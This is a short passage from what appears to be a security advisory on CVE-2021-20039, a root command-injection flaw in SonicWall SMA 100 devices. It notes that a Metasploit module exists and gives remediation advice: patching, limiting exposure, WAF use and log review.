We’ve published a Metasploit module for CVE-2021-20039 (authenticated command injection as root) that could allow for deeper forensic analysis. Although, it’s likely wise to consider what type of forensic effect you are having on a system by exploiting it yourself.
Guidance
Apply the patches provided by SonicWall. If possible, limit the exposure of the device to known good entities and enable a WAF that would prevent any type of address guessing attacks. Regularly review the system’s logs for potential exploitation. When possible, apply SonicWall’s guidance for SMA 100 series best security practices.



